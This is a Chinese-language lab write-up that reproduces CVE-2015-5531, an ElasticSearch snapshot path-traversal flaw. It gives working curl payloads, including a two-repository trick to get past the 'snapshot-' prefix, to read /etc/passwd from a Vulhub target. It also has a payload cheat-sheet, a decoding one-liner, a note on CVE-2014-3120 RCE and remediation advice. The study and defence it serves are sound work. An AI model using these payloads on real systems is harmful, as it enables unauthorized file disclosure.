⚠️ 免责声明本文仅用于网络安全学习与研究目的。请勿将文中技术用于非法用途,未经授权对他人系统进行测试属于违法行为。读者应遵守《中华人民共和国网络安全法》及相关法律法规。如因不当使用本文技术导致的任何法律责任,由使用者自行承担。
- 漏洞概述
- 环境搭建
- 漏洞原理分析
- 漏洞复现全流程
- 确认目标信息
- 创建快照仓库
- 创建第二个仓库(绕过前缀限制)
- 路径穿越读取文件
- 探索文件系统并查找 Flag
- 问题:snapshot-前缀干扰
- 结果解码与 Flag 提取
- 完整 Payload 速查表
- 修复建议
1. 漏洞概述
项目 | |
CVE 编号 | CVE-2015-5531 |
ElasticSearch 目录穿越漏洞 | |
CVSS 3.1: 5.0(中危) | |
ElasticSearch 1.6.0及更早版本 | |
目录穿越/任意文件读取(Path Traversal) | |
无需认证即可直接利用 | |
CWE-22: 路径遍历(Path Traversal) |
漏洞描述
ElasticSearch 是一个分布式的 RESTful 搜索和分析引擎,广泛应用于日志分析、全文搜索等场景。ElasticSearch 提供了快照(Snapshot)和恢复(Restore)功能,允许用户将数据备份到指定的文件系统目录。
CVE-2015-5531 是 ElasticSearch 快照功能中的一个目录穿越漏洞。在受影响版本中,ElasticSearch 在处理快照 API 请求时,未对用户传入的快照名称进行充分的路径校验。攻击者可以通过在快照名称中插入 "../" 等路径穿越字符,突破 ElasticSearch 的目录限制,实现读取服务器上任意文件的目的。
在 ElasticSearch 1.5.1 及更早版本中,无需任何额外配置即可触发该漏洞;在 1.6.0 版本中,需要在 elasticsearch.yml 配置文件中设置 path.repo 参数后才能利用。
漏洞发现者:Benjamin Smith
参考链接:https://www.exploit-db.com/exploits/38383/
2. 环境搭建
本次复现使用 Vulhub 漏洞环境搭建的 ElasticSearch 1.4.4 服务器。
目标信息:
• 目标地址:http://69.230.242.247:9200
• ElasticSearch 版本:1.4.4
• 集群名称:elasticsearch
• 节点名称:Lucifer
3. 漏洞原理分析
3.1 快照功能简介
ElasticSearch 的快照(Snapshot)功能允许用户将集群中的数据备份到指定的文件系统目录中。其核心 API 调用流程如下:
1. 创建快照仓库(Repository):指定仓库类型(如 fs 文件系统)和存储路径
2. 创建快照(Snapshot):在指定仓库中创建一个快照
3. 恢复快照(Restore):从快照中恢复数据
3.2 漏洞成因
漏洞出现在快照名称的处理过程中。当用户请求快照恢复时,ElasticSearch 会构造以下文件路径:
关键问题在于:{快照名称} 参数直接来自用户输入的 URL,ElasticSearch 未对其进行充分的路径校验。攻击者可以将快照名称设置为包含 "../" 路径穿越序列的字符串,从而突破仓库目录的限制,读取系统上的任意文件。
• ElasticSearch 1.0.x ~ 1.4.x:全部受影响,无需任何配置
• ElasticSearch 1.5.x:1.5.0 ~ 1.5.1 受影响,需要配置 path.repo
• ElasticSearch 1.6.0:受影响,需要配置 path.repo
• ElasticSearch 1.6.1 及以上:已修复
4. 漏洞复现全流程
4.1 确认目标信息
首先确认目标 ElasticSearch 服务是否正常运行,以及确认其版本号。这一步是为了判断目标是否在漏洞影响范围内。
操作说明:
在浏览器中打开目标地址,或使用 curl 命令发送 GET 请求到根路径,ElasticSearch 会返回其版本信息。
响应结果:
✅ 服务器正常,版本为 1.4.4(在受影响范围内,无需额外配置)。4.2 创建第一个快照仓库
利用该漏洞前,需要先创建一个快照仓库。仓库将用于建立文件系统目录结构,为后续的路径穿越做准备。我们将第一个仓库指向一个相对路径 "dsr",该路径相对于 ElasticSearch 的安装目录 /usr/share/elasticsearch/ 进行解析:
请求命令:
curl -XPUT "http://69.230.242.247:9200/_snapshot/pwn" -H "Content-Type: application/json" -d "{\"type\":\"fs\",\"settings\":{\"location\":\"dsr\"}}"
响应结果:
✅ 返回 {"acknowledged":true} 表示仓库创建成功。这一步在服务器上创建了 /usr/share/elasticsearch/dsr/ 目录。相对路径解析原理:
当仓库的 location 设置为相对路径(不以 / 开头)时,ElasticSearch 会将其相对于 ES 的安装目录/usr/share/elasticsearch/ 来解析。因此 "dsr" 实际对应的是 /usr/share/elasticsearch/dsr/。
4.3 创建第二个仓库(绕过前缀限制)
这是漏洞利用的关键步骤!
ElasticSearch 在读取快照文件时,会在文件名前自动追加 "snapshot-" 前缀。例如,如果快照名称为 "ev1l/../../../etc/passwd",则构造的完整路径为 "{仓库路径}/snapshot-ev1l/../../../etc/passwd"。
假设我们在 /tmp/test/ 下创建了一个仓库,然后尝试读取 /flag:
原因在于 "snapshot-backdata" 中的 "backdata" 是快照名的一部分,"snapshot-backdata" 会被当作一个文件(或需要存在的目录)来处理。而实际上这个路径并不存在,所以报错。
通过创建第二个仓库,将 location 设为 "dsr/snapshot-ev1l",在服务器上创建了 /usr/share/elasticsearch/dsr/snapshot-ev1l/ 这个目录。这样一来,当后续的路径穿越发生时,"snapshot-ev1l" 这个路径组件就能正确匹配到实际存在的目录,使得 "../" 可以正常回退。
请求命令:
curl -XPUT "http://69.230.242.247:9200/_snapshot/pwnie" -H "Content-Type: application/json" -d "{\"type\":\"fs\",\"settings\":{\"location\":\"dsr/snapshot-ev1l\"}}"
响应结果:
✅ 创建成功。这一步在服务器上创建了 /usr/share/elasticsearch/dsr/snapshot-ev1l/ 目录。原理说明:
由于第二个仓库的路径为 "dsr/snapshot-ev1l/",这个目录结构恰好与 ES 构造文件路径时的 "snapshot-ev1l" 前缀相匹配。后续构造路径穿越时,路径会沿着 /usr/share/elasticsearch/dsr/snapshot-ev1l/snapshot-ev1l/../../../ 回退到根目录,从而读取任意文件。
4.4 路径穿越读取文件
完成上述准备后,通过构造包含路径穿越序列的快照名称,触发 ElasticSearch 读取目标文件。此处以读取 /etc/passwd 为例(Flag 被直接追加在该文件中)。
请求命令(关键 Payload):
curl "http://69.230.242.247:9200/_snapshot/pwn/ev1l%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
注意:URL 中的 %2f 是 / 的 URL 编码形式。使用 %2f 而不是 / 的原因是为了防止 HTTP 服务器在路由阶段自动解析路径中的 "../" 导致路径被标准化,确保 ElasticSearch 能接收到完整的路径穿越字符串。注意:以上响应中的数字数组是 /etc/passwd 文件的实际内容的 ASCII 码表示!ElasticSearch 成功读取了 /etc/passwd 文件,但因为它不是合法的快照元数据格式,解析失败时将文件内容以字节数组的形式泄露在错误信息中。
从仓库路径 /usr/share/elasticsearch/dsr/snapshot-ev1l/ 回退到根目录共需要经过:
dsr/ → 1层 → elasticsearch/ → 2层 → share/ → 3层 → usr/ → 4层 → / → 5层,再往上一层(第6层)已在根目录。因此需要 6 层 ../ 才能确保稳定到达根目录。
响应结果(错误信息中包含文件内容):
✅ 漏洞利用成功!ElasticSearch 尝试将 /etc/passwd 解析为快照元数据文件,解析失败时在错误信息中以字节数组的形式泄露了文件完整内容。
5. 探索文件系统并查找 Flag
5.1 问题:snapshot-前缀干扰
在复现过程中,最容易遇到的问题就是 "snapshot-" 前缀与路径穿越字符的连接问题。
问题描述:
如果直接使用类似 "backdata/../../../../../flag" 的快照名称,ElasticSearch 构造的路径为 "snapshot-backdata/../../../../../flag"。由于 "snapshot-backdata" 不是实际的目录(只是文件名的前缀),操作系统无法正确解析路径,会报 "No such file or directory" 错误。
使用两个仓库的技巧:第一个仓库创建基础目录,第二个仓库创建 "snapshot-ev1l" 子目录作为路径匹配点,使 "snapshot-" 前缀能正确落在目录上,从而正常执行路径穿越。
当 ES 构造文件路径时,路径为:/tmp/test/snapshot-backdata/../../../flag。
问题在于 "snapshot-backdata/" 这个路径组件:
- ES 将快照名称 "backdata/../../../flag" 前缀添加 "snapshot-"
- 得到 "snapshot-backdata/../../../flag"
- 系统尝试访问 /tmp/test/snapshot-backdata/
- 但该文件(或目录)并不存在
- 由于中间路径不存在,后续的 ../ 无法执行
- 最终报 FileNotFoundException
两个仓库技巧实际上是在目录结构上制造了一个与 "snapshot-{name}" 格式完全匹配的目录。
简单来说:第一个仓库创建了基础目录(dsr/),第二个仓库通过在基础目录下创建一个名为 "snapshot-ev1l" 的子目录,使得后续的路径穿越可以直接从这个子目录出发。
第 4.4 步返回的错误信息中包含了一个字节数组(以逗号分隔的十进制整数列表)。每个数字代表读取到的文件内容的 ASCII 码。需要将这些数字转换为可读的文本。
5.2 扩展知识:CVE-2014-3120 RCE
CVE-2014-3120 是 ElasticSearch 的另一个经典漏洞,允许通过动态脚本执行任意系统命令。该漏洞影响 ElasticSearch 1.2.0 及更早版本(部分 1.4.x 配置下仍可触发)。
ElasticSearch 的 MVEL 和 Groovy 脚本引擎允许用户在搜索请求中执行脚本。由于沙箱机制不完善,攻击者可以通过脚本调用 Java 的 Runtime.exec() 执行系统命令。
⚠️ 本次复现目标(ES 1.4.4)中,Groovy 动态脚本已被禁用,因此 CVE-2014-3120 无法直接利用。但在部分未正确配置的环境中仍可尝试。
5.3 结果解码与 Flag 提取
漏洞利用返回的错误信息中包含一个字节数组(整数列表),每个数字代表文件内容的 ASCII 码。需要使用 Python 等工具将其解码为可读文本。也可使用ai去自动解码。
解码后的 /etc/passwd 文件内容:✅ 最终得到 flag: {xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}
6. 完整 Payload 速查表
操作 | |
确认目标信息 | curl http://target:9200/ |
curl -XPUT "http://target:9200/_snapshot/pwn" -H "Content-Type: application/json" -d '{"type":"fs","settings":{"location":"dsr"}}' | |
curl -XPUT "http://target:9200/_snapshot/pwnie" -H "Content-Type: application/json" -d '{"type":"fs","settings":{"location":"dsr/snapshot-ev1l"}}' | |
curl "http://target:9200/_snapshot/pwn/ev1l%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd" | |
python3 -c "data=[...]; print(bytes(data).decode())" |
7. 修复建议
针对 CVE-2015-5531 目录穿越漏洞,建议采取以下修复措施:
1. 版本升级:将 ElasticSearch 升级到 1.6.1 或更高版本,官方已修复该漏洞。
2. 配置 path.repo:在 elasticsearch.yml 中配置 path.repo 参数,将快照仓库限制在指定目录下。
3. 网络隔离:避免将 ElasticSearch 服务直接暴露在公网,应部署在内网或使用防火墙限制访问来源。
4. 最小权限原则:ElasticSearch 进程应以低权限用户运行,限制其文件系统访问范围。
5. 输入验证:对所有用户输入的路径参数进行严格的规范化处理和子目录校验。
6. 安全审计:定期更新 ElasticSearch 到最新版本,关注官方安全公告。